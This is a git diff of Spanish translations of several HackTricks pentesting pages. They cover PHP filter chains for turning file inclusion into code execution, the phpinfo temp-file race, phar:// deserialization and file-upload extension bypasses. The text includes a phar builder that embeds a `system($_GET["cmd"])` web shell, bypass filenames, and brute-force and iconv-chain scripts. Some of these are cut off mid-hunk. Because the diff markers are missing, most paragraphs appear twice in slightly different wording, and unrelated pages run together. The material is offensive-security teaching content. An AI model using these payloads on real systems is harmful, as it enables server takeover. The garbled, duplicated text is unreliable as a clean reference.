* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repos de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
## Introducción
Este [**artículo**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **filtros de php para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para el include **sin necesidad de escribirlo** en un archivo.
Este [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explica que puedes usar **filtros php para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para la inclusión **sin necesidad de escribirlo** en un archivo.
Básicamente, el objetivo del script es **generar una cadena Base64** al **principio** del archivo que finalmente será **decodificada** proporcionando el payload deseado que será **interpretado por `include`**.
Básicamente, el objetivo del script es **generar una cadena Base64** al **principio** del archivo que será **finalmente decodificada** proporcionando la carga útil deseada que será **interpretada por `include`**.
Las bases para hacer esto son:
* `convert.iconv.UTF8.CSISO2022KR` siempre añadirá `\x1b$)C` al principio de la cadena
* `convert.base64-decode` es extremadamente tolerante, básicamente ignorará cualquier carácter que no sea base64 válido. Da algunos problemas si encuentra "=" inesperados, pero estos pueden eliminarse con el filtro `convert.iconv.UTF8.UTF7`.
* `convert.iconv.UTF8.CSISO2022KR` siempre agregará `\x1b$)C` a la cadena
* `convert.base64-decode` es extremadamente tolerante, básicamente ignorará cualquier carácter que no sea válido en base64. Da algunos problemas si encuentra "=" inesperados, pero estos pueden eliminarse con el filtro `convert.iconv.UTF8.UTF7`.
El bucle para generar contenido arbitrario es:
1. añadir `\x1b$)C` a nuestra cadena como se describió anteriormente
2. aplicar alguna cadena de conversiones de iconv que deje intacto nuestro base64 inicial y convierta la parte que acabamos de añadir a alguna cadena donde el único carácter base64 válido sea la siguiente parte de nuestro código php codificado en base64
3. decodificar y codificar en base64 la cadena, lo que eliminará cualquier basura intermedia
1. agregar `\x1b$)C` a nuestra cadena como se describe arriba
2. aplicar una cadena de conversiones iconv que deje intacto nuestro base64 inicial y convierta la parte que acabamos de agregar a alguna cadena donde el único carácter base64 válido es la siguiente parte de nuestro código php codificado en base64
3. decodificar en base64 y codificar en base64 la cadena, lo que eliminará cualquier basura en el medio
4. Volver al paso 1 si el base64 que queremos construir aún no está terminado
5. decodificar en base64 para obtener nuestro código php
{% hint style="warning" %}
**Los includes** suelen hacer cosas como **añadir ".php" al final** del archivo, lo que podría dificultar la explotación de esto porque necesitarías encontrar un archivo .php con un contenido que no anule el exploit... o podrías simplemente usar `php://temp` como recurso porque puede **tener cualquier cosa añadida en el nombre** (como +".php") ¡y aún permitirá que el exploit funcione!
**Las inclusiones** suelen hacer cosas como **añadir ".php" al final** del archivo, lo que podría dificultar la explotación de esto porque necesitarías encontrar un archivo .php con un contenido que no mate la explotación... o **podrías simplemente usar `php://temp` como recurso** porque puede **tener cualquier cosa añadida en el nombre** (como +".php") y seguirá permitiendo que la explotación funcione!
{% endhint %}
## Cómo añadir también sufijos a los datos resultantes
## Cómo agregar también sufijos a los datos resultantes
[**Este artículo explica**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) cómo aún puedes abusar de los filtros de PHP para añadir sufijos a la cadena resultante.
[**Este writeup explica**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) cómo aún puedes abusar de los filtros PHP para agregar sufijos a la cadena resultante.
## Herramientas Automáticas
* [https://github.com/synacktiv/php\_filter\_chain\_generator](https://github.com/synacktiv/php\_filter\_chain\_generator)
* [https://github.com/ambionics/wrapwrap](https://github.com/ambionics/wrapwrap) (puede añadir sufijos)
* [https://github.com/ambionics/wrapwrap](https://github.com/ambionics/wrapwrap) (puede agregar sufijos)
## Script completo
## Script Completo
```python
import requests
@ -108,7 +108,7 @@ print(r.text)
```
### Mejoras
El script anterior está limitado a los caracteres base64 necesarios para ese payload. Por lo tanto, creé mi propio script para **fuerza bruta de todos los caracteres base64**:
El script anterior está limitado a los caracteres base64 necesarios para ese payload. Por lo tanto, creé mi propio script para **bruteforcear todos los caracteres base64**:
```php
conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
@ -177,7 +177,7 @@ conversions = {
'=': ''
}
```
Aquí está el **script** para obtener codificaciones que generan cada letra b64:
Aquí está el **script** para obtener los encodings que generan cada letra b64:
```php
<?php
@ -269,14 +269,14 @@ find_vals($init);
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>

View file

@ -5,10 +5,10 @@
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** Twitter 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Obtén [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -31,7 +31,7 @@ Debes cambiar también el **payload** al principio del exploit (por ejemplo, par
Si se permiten subidas en PHP y se intenta subir un archivo, este archivo se almacena en un directorio temporal hasta que el servidor haya terminado de procesar la solicitud, luego este archivo temporal se elimina.
Entonces, si has encontrado una vulnerabilidad LFI en el servidor web, puedes intentar adivinar el nombre del archivo temporal creado y explotar un RCE accediendo al archivo temporal antes de que se elimine.
Entonces, si se ha encontrado una vulnerabilidad LFI en el servidor web, puedes intentar adivinar el nombre del archivo temporal creado y explotar un RCE accediendo al archivo temporal antes de que se elimine.
En **Windows** los archivos suelen almacenarse en **C:\Windows\temp\php**
@ -39,7 +39,7 @@ En **Linux** el nombre del archivo suele ser **aleatorio** y se encuentra en **/
**phpinfo()**
**PHP** utiliza un búfer de **4096B** y cuando está **lleno**, se **envía al cliente**. Entonces el cliente puede **enviar** **muchas solicitudes grandes** (usando encabezados grandes) **subiendo un php** reverse **shell**, esperar a que se devuelva la **primera parte de phpinfo()** (donde está el nombre del archivo temporal) e intentar **acceder al archivo temporal** antes de que el servidor php elimine el archivo explotando una vulnerabilidad LFI.
**PHP** utiliza un búfer de **4096B** y cuando está **lleno**, se **envía al cliente**. Entonces el cliente puede **enviar** **muchas solicitudes grandes** (usando cabeceras grandes) **subiendo un php** reverse **shell**, esperar a que se devuelva la **primera parte de phpinfo()** (donde está el nombre del archivo temporal) e intentar **acceder al archivo temporal** antes de que el servidor de php elimine el archivo explotando una vulnerabilidad LFI.
**Script de Python para intentar hacer fuerza bruta con el nombre (si la longitud es 6)**
```python
@ -65,14 +65,14 @@ print('[x] Something went wrong, please try again')
```
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de HackTricks AWS)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>

View file

@ -1,14 +1,14 @@
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
@ -18,7 +18,7 @@ Otras formas de apoyar a HackTricks:
## **Cargas de archivos PHP**
Cuando un motor de **PHP** recibe una **solicitud POST** que contiene archivos formateados según RFC 1867, genera archivos temporales para almacenar los datos cargados. Estos archivos son cruciales para el manejo de la carga de archivos en scripts de PHP. La función `move_uploaded_file` debe usarse para trasladar estos archivos temporales a una ubicación deseada si se necesita almacenamiento persistente más allá de la ejecución del script. Después de la ejecución, PHP elimina automáticamente cualquier archivo temporal restante.
Cuando un motor de **PHP** recibe una **solicitud POST** que contiene archivos formateados según RFC 1867, genera archivos temporales para almacenar los datos cargados. Estos archivos son cruciales para el manejo de carga de archivos en scripts de PHP. La función `move_uploaded_file` debe usarse para trasladar estos archivos temporales a una ubicación deseada si se necesita almacenamiento persistente más allá de la ejecución del script. Después de la ejecución, PHP elimina automáticamente cualquier archivo temporal restante.
{% hint style="info" %}
**Alerta de seguridad: Los atacantes, al conocer la ubicación de los archivos temporales, podrían explotar una vulnerabilidad de Inclusión de Archivos Locales para ejecutar código accediendo al archivo durante la carga.**

View file

@ -1,30 +1,30 @@
# phar:// deserialización
# Deserialización de phar://
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo imposible - **¡estamos contratando!** (_se requiere dominio del polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
Los archivos **Phar** (PHP Archive) **contienen metadatos en formato serializado**, por lo tanto, al ser analizados, estos **metadatos** son **deserializados** y puedes intentar abusar de una vulnerabilidad de **deserialización** dentro del código **PHP**.
Los archivos **Phar** (PHP Archive) contienen **metadatos en formato serializado**, por lo tanto, al ser analizados, estos **metadatos** se **deserializan** y se puede intentar abusar de una vulnerabilidad de **deserialización** dentro del código **PHP**.
Lo mejor de esta característica es que esta deserialización ocurrirá incluso utilizando funciones de PHP que no evalúan código PHP como **file\_get\_contents(), fopen(), file() o file\_exists(), md5\_file(), filemtime() o filesize()**.
Así que, imagina una situación en la que puedas hacer que una web PHP obtenga el tamaño de un archivo arbitrario usando el protocolo **`phar://`**, y dentro del código encuentres una **clase** similar a la siguiente:
Entonces, imagina una situación en la que puedes hacer que un sitio web en PHP obtenga el tamaño de un archivo arbitrario utilizando el protocolo **`phar://`**, y dentro del código encuentras una **clase** similar a la siguiente:
{% code title="vunl.php" %}
```php
@ -42,25 +42,9 @@ system($this->data);
filesize("phar://test.phar"); #The attacker can control this path
```
```php
<?php
class Example {
public $inject = '<?php system($_GET["cmd"]); ?>';
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new Example();
$phar->setMetadata($o);
$phar->stopBuffering();
?>
```
{% endcode %}
Puede crear un archivo **phar** que al cargarse **abusará de esta clase para ejecutar comandos arbitrarios** con algo como:
Puedes crear un archivo **phar** que, al cargarse, **abusará de esta clase para ejecutar comandos arbitrarios** de la siguiente manera:
{% code title="create_phar.php" %}
```php
@ -90,12 +74,12 @@ $phar->stopBuffering();
```
{% endcode %}
Tenga en cuenta cómo se agregan los **bytes mágicos de JPG** (`\xff\xd8\xff`) al principio del archivo phar para **evitar** **posibles** restricciones de **carga** de archivos.\
**Compile** el archivo `test.phar` con:
Note cómo los **bytes mágicos de JPG** (`\xff\xd8\xff`) se agregan al principio del archivo phar para **burlar** **posibles** **restricciones de carga** de archivos.\
**Compila** el archivo `test.phar` con:
```bash
php --define phar.readonly=0 create_phar.php
```
Y ejecuta el comando `whoami` abusando del código vulnerable con:
Y ejecutar el comando `whoami` abusando del código vulnerable con:
```bash
php vuln.php
```
@ -103,22 +87,22 @@ php vuln.php
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera en hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo imposible - **¡estamos contratando!** (_se requiere dominio del polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><strong>Aprende AWS hacking de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
</details>
![](<../../.gitbook/assets/image (638) (3).png>)
**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una **plataforma premium de recompensas por errores creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -35,7 +35,7 @@ Otras extensiones útiles:
### Saltar comprobaciones de extensiones de archivos
1. Si aplican, **verifica** las **extensiones anteriores**. También pruébalas usando algunas **letras mayúsculas**: _pHp, .pHP5, .PhAr ..._
1. Si se aplican, **verifica** las **extensiones anteriores**. También pruébalas usando algunas letras en **mayúsculas**: _pHp, .pHP5, .PhAr ..._
2. _Verifica **agregando una extensión válida antes** de la extensión de ejecución (usa también las extensiones anteriores):_
* _archivo.png.php_
* _archivo.png.Php5_
@ -49,7 +49,7 @@ Otras extensiones útiles:
* _archivo._
* _archivo.php...._
* _archivo.pHp5...._
4. Intenta saltar las protecciones **engañando al analizador de extensiones** del lado del servidor con técnicas como **duplicar** la **extensión** o **agregar datos basura** (bytes **nulos**) entre extensiones. _También puedes usar las **extensiones anteriores** para preparar un mejor payload._
4. Intenta saltar las protecciones **engañando al analizador de extensiones** del lado del servidor con técnicas como **duplicar** la **extensión** o **agregar datos basura** (bytes **nulos**) entre extensiones. _También puedes usar las **extensiones anteriores** para preparar un payload mejor._
* _archivo.png.php_
* _archivo.png.pHp5_
* _archivo.php#.png_
@ -64,13 +64,13 @@ Otras extensiones útiles:
6. Intenta colocar la **extensión de ejecución antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con la extensión\*\* _**.php**_**, pero** no necesariamente terminando en .php\*\* ejecutará código):
* _ej: archivo.php.png_
7. Usando **flujos de datos alternativos NTFS (ADS)** en **Windows**. En este caso, se insertará un carácter de dos puntos ":" después de una extensión prohibida y antes de una permitida. Como resultado, se creará un **archivo vacío con la extensión prohibida** en el servidor (por ejemplo, "archivo.asax:.jpg"). Este archivo podría editarse más tarde utilizando otras técnicas como usar su nombre corto. El patrón “**::$data**” también se puede usar para crear archivos no vacíos. Por lo tanto, agregar un carácter de punto después de este patrón también podría ser útil para saltar más restricciones (por ejemplo, “archivo.asp::$data.”)
8. Intenta romper los límites del nombre de archivo. La extensión válida se corta y el PHP malicioso queda. AAA<--SNIP-->AAA.php
8. Intenta romper los límites del nombre de archivo. La extensión válida se corta y queda el PHP malicioso. AAA<--SNIP-->AAA.php
```
# Máximo de 255 bytes en Linux
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aquí y agregando .png
# Sube el archivo y verifica la respuesta cuántos caracteres permite. Digamos 236
# Sube el archivo y verifica la respuesta para ver cuántos caracteres permite. Digamos que 236
python -c 'print "A" * 232'
